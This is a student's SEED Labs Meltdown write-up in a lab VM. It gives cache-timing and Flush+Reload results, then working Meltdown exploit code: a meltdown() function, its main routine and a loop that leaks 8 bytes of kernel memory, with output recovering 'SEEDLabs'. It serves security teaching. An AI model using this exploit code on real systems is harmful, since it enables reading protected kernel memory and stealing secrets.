Lab06_Meltdown

Task01

Steps

1. First, we create and compile the program provided by the instruction book.
2. Second, run the program serval times, and find the threshold.

```
[10/11/19]seed@VM:~/lab06_meltdown$ cacheTime
Access time for array[0*4096]: 1442 CPU cycles
Access time for array[1*4096]: 258 CPU cycles
Access time for array[2*4096]: 224 CPU cycles
Access time for array[3*4096]: 104 CPU cycles
Access time for array[4*4096]: 222 CPU cycles
Access time for array[5*4096]: 236 CPU cycles
Access time for array[6*4096]: 216 CPU cycles
Access time for array[7*4096]: 162 CPU cycles
Access time for array[8*4096]: 242 CPU cycles
Access time for array[9*4096]: 268 CPU cycles
```

```
[10/11/19]seed@VM:~/lab06_meltdown$ cacheTime
Access time for array[0*4096]: 1366 CPU cycles
Access time for array[1*4096]: 364 CPU cycles
Access time for array[2*4096]: 298 CPU cycles
Access time for array[3*4096]: 128 CPU cycles
Access time for array[4*4096]: 298 CPU cycles
Access time for array[5*4096]: 210 CPU cycles
Access time for array[6*4096]: 286 CPU cycles
Access time for array[7*4096]: 98 CPU cycles
Access time for array[8*4096]: 306 CPU cycles
Access time for array[9*4096]: 224 CPU cycles
```

```
[10/11/19]seed@VM:~/lab06_meltdown$ cacheTime
Access time for array[0*4096]: 1572 CPU cycles
Access time for array[1*4096]: 362 CPU cycles
Access time for array[2*4096]: 246 CPU cycles
Access time for array[3*4096]: 204 CPU cycles
Access time for array[4*4096]: 210 CPU cycles
Access time for array[5*4096]: 240 CPU cycles
Access time for array[6*4096]: 244 CPU cycles
Access time for array[7*4096]: 74 CPU cycles
Access time for array[8*4096]: 226 CPU cycles
Access time for array[9*4096]: 246 CPU cycles
```

```
[10/11/19]seed@VM:~/lab06_meltdown$ cacheTime
Access time for array[0*4096]: 1426 CPU cycles
Access time for array[1*4096]: 430 CPU cycles
Access time for array[2*4096]: 282 CPU cycles
Access time for array[3*4096]: 300 CPU cycles
Access time for array[4*4096]: 284 CPU cycles
Access time for array[5*4096]: 322 CPU cycles
Access time for array[6*4096]: 420 CPU cycles
Access time for array[7*4096]: 358 CPU cycles
Access time for array[8*4096]: 388 CPU cycles
Access time for array[9*4096]: 366 CPU cycles
```

```
[10/11/19]seed@VM:~/lab06_meltdown$ cacheTime
Access time for array[0*4096]: 1782 CPU cycles
Access time for array[1*4096]: 392 CPU cycles
Access time for array[2*4096]: 210 CPU cycles
Access time for array[3*4096]: 214 CPU cycles
Access time for array[4*4096]: 228 CPU cycles
Access time for array[5*4096]: 210 CPU cycles
Access time for array[6*4096]: 270 CPU cycles
Access time for array[7*4096]: 250 CPU cycles
Access time for array[8*4096]: 232 CPU cycles
Access time for array[9*4096]: 236 CPU cycles
```

```
[10/11/19]seed@VM:~/lab06_meltdown$ cacheTime
Access time for array[0*4096]: 1494 CPU cycles
Access time for array[1*4096]: 338 CPU cycles
Access time for array[2*4096]: 226 CPU cycles
Access time for array[3*4096]: 126 CPU cycles
Access time for array[4*4096]: 290 CPU cycles
Access time for array[5*4096]: 296 CPU cycles
Access time for array[6*4096]: 286 CPU cycles
Access time for array[7*4096]: 156 CPU cycles
Access time for array[8*4096]: 248 CPU cycles
Access time for array[9*4096]: 246 CPU cycles
```

```
[10/11/19]seed@VM:~/lab06_meltdown$ cacheTime
Access time for array[0*4096]: 1448 CPU cycles
Access time for array[1*4096]: 282 CPU cycles
Access time for array[2*4096]: 360 CPU cycles
Access time for array[3*4096]: 172 CPU cycles
Access time for array[4*4096]: 398 CPU cycles
Access time for array[5*4096]: 246 CPU cycles
Access time for array[6*4096]: 454 CPU cycles
Access time for array[7*4096]: 164 CPU cycles
Access time for array[8*4096]: 244 CPU cycles
Access time for array[9*4096]: 258 CPU cycles
```

3. From the result, we can conclude that the threshold is about 150 cycles. If the data cost CPU cycles lower than 150, we can make sure that the data is in the cache.

Task02

Steps

1. Create and compile the program called ‘flushReload.c’.
2. Run it for about 20 times.

```
array[94*4096 + 1024] is in cache.
The Secret = 94.
[10/13/19]seed@VM:~/.../Meltdown_Attack$ FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[10/13/19]seed@VM:~/.../Meltdown_Attack$ FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[10/13/19]seed@VM:~/.../Meltdown_Attack$ FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[10/13/19]seed@VM:~/.../Meltdown_Attack$ FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[10/13/19]seed@VM:~/.../Meltdown_Attack$ FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[10/13/19]seed@VM:~/.../Meltdown_Attack$ FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[10/13/19]seed@VM:~/.../Meltdown_Attack$ FlushReload
array[94*4096 + 1024] is in cache.
The Secret = 94.
[10/13/19]seed@VM:~/.../Meltdown_Attack$
```

The above is part of the result. I run this program on my computer and find it succeed for 15 times, and 5 times fails, for a total of 20 times trials.

Task03

Steps

1. Create and compile the program, then run it.

```
[10/12/19]seed@VM:~/.../Meltdown_Attack$ make
make -C /lib/modules/4.8.0-36-generic/build M=/home/seed/lab06_meltdown/Meltdown
_Attack modules
make[1]: Entering directory '/usr/src/linux-headers-4.8.0-36-generic'
  CC [M]  /home/seed/lab06_meltdown/Meltdown_Attack/MeltdownKernel.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /home/seed/lab06_meltdown/Meltdown_Attack/MeltdownKernel.mod.o
  LD [M]  /home/seed/lab06_meltdown/Meltdown_Attack/MeltdownKernel.ko
make[1]: Leaving directory '/usr/src/linux-headers-4.8.0-36-generic'
[10/12/19]seed@VM:~/.../Meltdown_Attack$ ls
CacheTime.c          MeltdownAttack.c      MeltdownKernel.mod.c  Module.symvers
ExceptionHandling.c  MeltdownExperiment.c  MeltdownKernel.mod.o
FlushReload.c        MeltdownKernel.c      MeltdownKernel.o
Makefile             MeltdownKernel.ko     modules.order
[10/12/19]seed@VM:~/.../Meltdown_Attack$ sudo insmod MeltdownKernel.ko
[10/12/19]seed@VM:~/.../Meltdown_Attack$ dmesg | grep 'Secret data address'
[10/12/19]seed@VM:~/.../Meltdown_Attack$ dmesg | grep 'secret data address'
[61376.378078] secret data address:f90f9000
```

Task04

Steps

1. Create a program trying to fetch the data from the kernel area.

```c
#include <stdio.h>


int main() {
  printf("start.\n");
  char *kernel_data_addr = (char*)0xf90f9000;
  printf("line 1 finish.\n");
  char kernel_data = *kernel_data_addr;
  printf("I have reached here. the kernel data: %s\n",&kernel_data);
  return 0;
}
```

The result after execution:

```
[10/12/19]seed@VM:~/.../Meltdown_Attack$ gedit test.c
[10/12/19]seed@VM:~/.../Meltdown_Attack$ gcc -o ttt test.c
[10/12/19]seed@VM:~/.../Meltdown_Attack$ ttt
start.
line 1 finish.
Segmentation fault
[10/12/19]seed@VM:~/.../Meltdown_Attack$
```

From the result, we can see that the program throws a segmentation fault after executed the first three lines. The program will execute line 3 but will fail eventually.

Task05

Steps

1. Execute the program provided by the instruction book.

```
[10/12/19]seed@VM:~/.../Meltdown_Attack$ ExceptionHandling
Memory access violation!
Program continues to execute.
[10/12/19]seed@VM:~/.../Meltdown_Attack$
```

The exception was captured and the program can be executed continuously.

Task06

Steps

1. Combine the program provided by the instruction book with the flush and reload and also the exception handler code.
2. Modify the CACHE_HIT_THRESHOLD and the address of kernel data.

```
#define CACHE_HIT_THRESHOLD (200)
#define DELTA 1024

int main()
{
  // Register a signal handler
  signal(SIGSEGV, catch_segv);

  // FLUSH the probing array
  flushSideChannel();

  if (sigsetjmp(jbuf, 1) == 0) {
      meltdown(0xf90f9000);
  }
  else {
      printf("Memory access violation!\n");
  }

  // RELOAD the probing array
  reloadSideChannel();
  return 0;
}
```

```
void meltdown(unsigned long kernel_data_addr)
{
  char kernel_data = 0;

  // The following statement will cause an exception
  kernel_data = *(char*)kernel_data_addr;
  array[7 * 4096 + DELTA] += 1;
}
```

3. Run the program.

```
[10/12/19]seed@VM:~/.../Meltdown_Attack$ ./MeltdownExperiment
Memory access violation!
array[7*4096 + 1024] is in cache.
The Secret = 7.
```

Observation & Explanation

From the image above, we can see that we find the data which we intended executed behind the line which deemed to be failed.

The reason is that there is a mechanism in CPU called out-of-order execution which intended to increase the execution speed of CPU by letting the address access permission checking and the access action runs parallelly. So the kernel data accessing and the array data modifying code are both be executed. If the CPU finds that the program does not have permission to access this address, it will erase all the data created or loaded in the memory during the checking period. However, it will not erase the cache. So if we access a block of memory during the checking time, we can figure out what we have accessed by reloading the cache.

Task07.1

Steps

1. Change the meltdown function and rerun it.

```
Memory access violation!
[10/12/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/12/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/12/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/12/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/12/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/12/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/12/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/12/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/12/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/12/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/12/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/12/19]seed@VM:~/.../Meltdown_Attack$
```

   There is not a single succeed within 10 times trials.

Task07.2

Steps

1. Add the code before triggering the out-of-order execution.

```
int main()
{
  // Register a signal handler
  signal(SIGSEGV, catch_segv);
  flushSideChannel();
  // Open the /proc/secret_data virtual file.
  int fd = open("/proc/secret_data", O_RDONLY);
  if (fd < 0) {
    perror("open");
    return -1;
  }
  int ret = pread(fd, NULL, 0, 0);
  // FLUSH the probing array


  if (sigsetjmp(jbuf, 1) == 0) {
      meltdown_asm(0xf911a000);
  }
  else {
      printf("Memory access violation!\n");
  }

  // RELOAD the probing array
  reloadSideChannel();
  return 0;
}
```

2. Run the program.

```
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$
```

The success rate of the attack is still low.

Task07.3

Steps

1. Add the assembly code into the meltdown function.
2. Rerun the function for 8 times and only 3 times succeed.

```
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
array[83*4096 + 1024] is in cache.
The Secret = 83.
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
array[0*4096 + 1024] is in cache.
The Secret = 0.
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
array[83*4096 + 1024] is in cache.
The Secret = 83.
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
array[83*4096 + 1024] is in cache.
The Secret = 83.
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
```

3. Changing the times of loop in assembly code to a higher number, like700.

```
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
array[0*4096 + 1024] is in cache.
The Secret = 0.
array[83*4096 + 1024] is in cache.
The Secret = 83.
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
array[83*4096 + 1024] is in cache.
The Secret = 83.
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
array[83*4096 + 1024] is in cache.
The Secret = 83.
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
```

4. By changing the time of loop to 20000.

```
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$
```

5. Changing the times of loop in assembly code to a lower number, like 200. The attack still cannot work.

```
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
array[0*4096 + 1024] is in cache.
The Secret = 0.
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
array[83*4096 + 1024] is in cache.
The Secret = 83.
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownExperiment
Memory access violation!
```

Observation

From the image shown above, we can see that if we change the times of the loop to a lower number, the time window left for us to execute our own code would be lesser. So the success rate would be decreased. However, the number times of the loop cannot be too high either, or the success rate would be decreased too.

Task08

Steps

1. Compile and run the program given by the instruction book.

```
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownAttack
The secret value is 83 S
The number of hits is 788
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownAttack
The secret value is 83 S
The number of hits is 980
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownAttack
The secret value is 83 S
The number of hits is 971
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownAttack
The secret value is 83 S
The number of hits is 932
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownAttack
The secret value is 0
The number of hits is 592
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownAttack
The secret value is 83 S
The number of hits is 920
[10/13/19]seed@VM:~/.../Meltdown_Attack$
```

   We can see that the success rate is really high.

2. If we want to get all of 8 bytes of secret data, the code needed to be changed in this way:

```
unsigned long secret_address = 0xf911a000;
// Retry 1000 times on the same address.
for(k=0;k<8;k++){
  memset(scores,0,sizeof(scores));
  unsigned long address = secret_address + k;

  for (i = 0; i < 1000; i++) {
      ret = pread(fd, NULL, 0, 0);
      if (ret < 0) {
      perror("pread");
      break;
      }

      // Flush the probing arrays
      for (j = 0; j < 256; j++)
          _mm_clflush(&array[j * 4096 + DELTA]);

      if (sigsetjmp(jbuf, 1) == 0) { meltdown_asm(address); }

      reloadSideChannelImproved();
  }


  // Find the index with the highest score.
  int max = 0;
  for (i = 0; i < 256; i++) {
      if (scores[max] < scores[i]) max = i;
  }

  printf("The secret value is %d %c\n", max, max);
  printf("The number of hits is %d\n", scores[max]);
}
```

After modifying, we rerun the program:

```
[10/13/19]seed@VM:~/.../Meltdown_Attack$ MeltdownAttack
The secret value is 83 S
The number of hits is 713
The secret value is 69 E
The number of hits is 496
The secret value is 69 E
The number of hits is 523
The secret value is 68 D
The number of hits is 727
The secret value is 76 L
The number of hits is 664
The secret value is 97 a
The number of hits is 662
The secret value is 98 b
The number of hits is 583
The secret value is 115 s
The number of hits is 909
[10/13/19]seed@VM:~/.../Meltdown_Attack$
```

Observation & Explanation

We can see that the attacks are succeeding both in getting single secret data and all of them. By running many times and calculate the highest ‘score’, we can easily get the secret data without too many times fail. Also, if we want to get all of the secret data, one way is to add a loop to repeat that process and increasing the address every time.